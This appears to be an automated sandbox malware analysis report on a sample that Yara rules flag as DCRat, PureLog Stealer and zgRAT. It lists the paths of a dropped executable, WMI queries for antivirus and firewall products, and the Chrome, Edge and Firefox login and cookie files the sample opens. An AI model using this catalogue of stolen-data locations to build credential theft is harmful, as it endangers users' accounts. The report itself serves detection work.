Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\NIAGSOL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\OLDENGL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ONYX.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\PARCHM.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\PER_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\PERBI___.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\RAGE.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\REFSPCL.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ROCKI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ROCKB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\ROCKBI.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\TCB_____.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\VINERITC.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\VIVALDII.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\VLADIMIR.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\OFFSYMSB.TTF VolumeInformation	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	Queries volume information: C:\Windows\Fonts\arialbd.ttf VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\aW6kSsgdvv.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM AntivirusProduct
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	WMI Queries: IWbemServices::ExecQuery - root\SecurityCenter2 : SELECT * FROM FirewallProduct

Stealing of Sensitive Information

Yara detected DCRat

Source: Yara match	File source: 00000005.00000002.4111793504.000000000384F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4111793504.00000000034DA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.4111793504.00000000039E3000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1697890254.00000000130D8000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: aW6kSsgdvv.exe PID: 7300, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe PID: 7528, type: MEMORYSTR

Yara detected PureLog Stealer

Source: Yara match	File source: aW6kSsgdvv.exe, type: SAMPLE
Source: Yara match	File source: 0.0.aW6kSsgdvv.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000000.1651549669.0000000000822000.00000002.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, type: DROPPED

Yara detected zgRAT

Source: Yara match	File source: aW6kSsgdvv.exe, type: SAMPLE
Source: Yara match	File source: 0.0.aW6kSsgdvv.exe.820000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: C:\Program Files (x86)\Windows NT\TableTextService\en-US\dllhost.exe, type: DROPPED
Source: Yara match	File source: C:\Program Files (x86)\Microsoft Office\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe, type: DROPPED

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Application Data\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Network\Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Local State	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data For Account-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Microsoft\Edge\User Data\Default\Login Data-journal	Jump to behavior
Source: C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe	File opened: C:\Users\user\AppData\Local\Application Data\Application Data\Google\Chrome\User Data\Default\Extension Cookies-journal	Jump to behavior
